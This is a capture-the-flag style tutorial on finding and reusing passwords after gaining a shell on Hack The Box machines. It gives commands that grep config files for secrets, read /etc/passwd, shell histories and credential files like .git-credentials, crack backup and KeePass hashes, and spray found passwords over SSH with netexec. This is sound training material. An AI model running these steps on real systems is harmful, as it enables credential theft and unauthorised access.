Finding passwords after the foothold: files, backups and reuse

Where to look for passwords once you have a shell: web app config, databases, shell histories, encrypted backups, and how to try each one against every user.

· 5 min read

When you land your first shell on a Hack The Box machine, you are almost always www-data or a service account. The jump to the next user is rarely an exploit: it is a password left in a file that someone reused for their own account. In the PwnAtlas catalogue it is by far the most common technique: it shows up in nearly a hundred machines.

This guide is the method to follow every time, in this order, before you reach for kernel exploits or get lost in linpeas output.

The bare minimum

  • Web applications need their database password in clear text in some file. That password is often also a system user's password.
  • Databases hold the application's users, usually with hashes you can crack.
  • Backups (.zip, .tar, .7z, .bak, .old) keep older versions of all of the above, sometimes with passwords that were changed in the original.
  • Every password you find gets tried against every user and every service. This is the step most people skip.

Requirements

  • A shell on the target, ideally a full TTY: su does not work without one.
  • On your box: john or hashcat (see hash cracking) and netexec or hydra to test passwords in bulk.
  • To practise: PermX, Boardlight or TwoMillion, all three easy Linux boxes.

Step 1: who lives on the box

Before hunting for passwords, write down who you will try them against:

grep -E 'sh$' /etc/passwd | cut -d: -f1
ls /home
root
mtz

Those are the users with a shell. Save them in a users.txt file on your box.

Step 2: the web application's config

Go to the web root (/var/www, /srv, /opt) and look for each technology's usual config file:

Technology File
WordPress wp-config.php
Laravel and most modern stacks .env
Joomla configuration.php
Drupal sites/default/settings.php
Django settings.py
Spring application.properties or application.yml
Rails config/database.yml
Node config.js, .env, config/default.json
Tomcat conf/tomcat-users.xml

If you do not know what the app is, search brute-force style:

grep -rniE "(pass(word|wd)?|pwd|secret|token)\s*[=:>]" /var/www /opt /srv /etc 2>/dev/null \
  | grep -viE "\.(js|css|svg)|placeholder|example" | head -50
/var/www/chamilo/app/config/configuration.php:20:$_configuration['db_password'] = '...';

The 2>/dev/null is essential: without it the output fills up with Permission denied. The second grep strips noise from JavaScript libraries.

Tip

On PermX the Chamilo database password is the mtz user's; on Boardlight, the one in Dolibarr's conf.php works for larissa; and on TwoMillion, the one in .env is admin's SSH password. Three boxes, one pattern.

Step 3: inside the database

With the database password, log in and pull the application's users:

mysql -u chamilo -p -h 127.0.0.1 -e 'show databases;'
mysql -u chamilo -p -h 127.0.0.1 chamilo -e 'select username,password from user;'

If the app uses SQLite, the file is usually called *.db, *.sqlite or *.sqlite3:

find / -name "*.db" -o -name "*.sqlite*" 2>/dev/null | grep -v -E "^/(proc|usr/share|sys)"
sqlite3 app.db '.tables'
sqlite3 app.db 'select * from users;'

Crack the hashes on your own box. Identify the format first ($2y$ is bcrypt, $6$ is SHA-512 crypt, 32 hex characters is usually MD5).

Step 4: histories and personal files

Check every /home/* you can read, and /root if you can:

ls -la /home/*/ 2>/dev/null
cat /home/*/.bash_history /home/*/.mysql_history /home/*/.python_history 2>/dev/null
find / \( -name ".git-credentials" -o -name ".netrc" -o -name ".pgpass" -o -name "*.kdbx" \
  -o -path "*/.docker/config.json" \) 2>/dev/null
  • .bash_history sometimes holds a mysql -u root -pPassword or an sshpass.
  • .git-credentials stores username and token in clear text.
  • A .kdbx is a KeePass database: keepass2john file.kdbx > hash and crack it.
  • SSH private keys have their own SSH keys guide.

Step 5: backups and archives

Backups turn up in /var/backups, /opt, the web root or someone's home. Look for them by extension:

find / \( -name "*.bak" -o -name "*.old" -o -name "*.zip" -o -name "*.tar*" -o -name "*.7z" \
  -o -name "*backup*" \) -type f 2>/dev/null | grep -v -E "^/(proc|usr|sys|snap)"

If an archive is password-protected, copy it to your box and crack it:

zip2john backup.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
admin@it         (backup.zip)

For 7-Zip use 7z2john. On Tabby the password of the zip in the web root is the ash user's; on Surveillance an old database dump holds matthew's hash; and on Netmon the PRTG config backup has a password with last year in it: try this year.

Warning

AES-encrypted zips are not cracked with the ZipCrypto format. zip2john detects it on its own, but if john says No password hashes loaded, check the file is not corrupt (unzip -l backup.zip should list its contents).

Step 6: try every password against everyone

With the user list and the passwords you found, try them all. On the box, with su:

su mtz

From your box, against SSH, in bulk:

nxc ssh 10.10.11.23 -u users.txt -p passwords.txt --continue-on-success
SSH  10.10.11.23  22  10.10.11.23  [+] mtz:<password>  Linux - Shell access!

On Windows and Active Directory, do the same against SMB and WinRM (nxc smb and nxc winrm). If there are many domain users, read the password spraying part of Active Directory enumeration first so you do not lock accounts out.

On Windows

The quick equivalents, from PowerShell:

Get-ChildItem C:\inetpub,C:\Users,C:\ -Include *.config,*.xml,*.ini,*.txt,*.kdbx -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PowerShell history, unattend.xml files and saved credentials are covered in Windows credential dumping.

Common mistakes

  • su: must be run from a terminal: your shell is not a TTY. Stabilise it first.
  • The password works with su but not over SSH: the server may have PasswordAuthentication no or restrict users with AllowUsers. Get in with su and drop your SSH key.
  • grep takes forever: do not search the whole of /; stick to /var/www, /opt, /srv, /home and /etc.
  • Passwords with special characters: wrap them in single quotes in the terminal; inside double quotes bash will mangle $ and !.
  • The hash does not crack with rockyou: try rules (--rules=best64 in hashcat) or variations of the passwords you already have.

What next

Tick the credentials section of the post-exploitation checklist and move on to sudo, SUID and capabilities privesc. The search commands in linPEAS automate much of this, but now you know what it is looking at.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Credentials in files 99 machines

See all 99 machines →

Password reuse 24 machines

See all 24 machines →

Backups and archives 23 machines

See all 23 machines →

Spotted a mistake or something missing? Tell us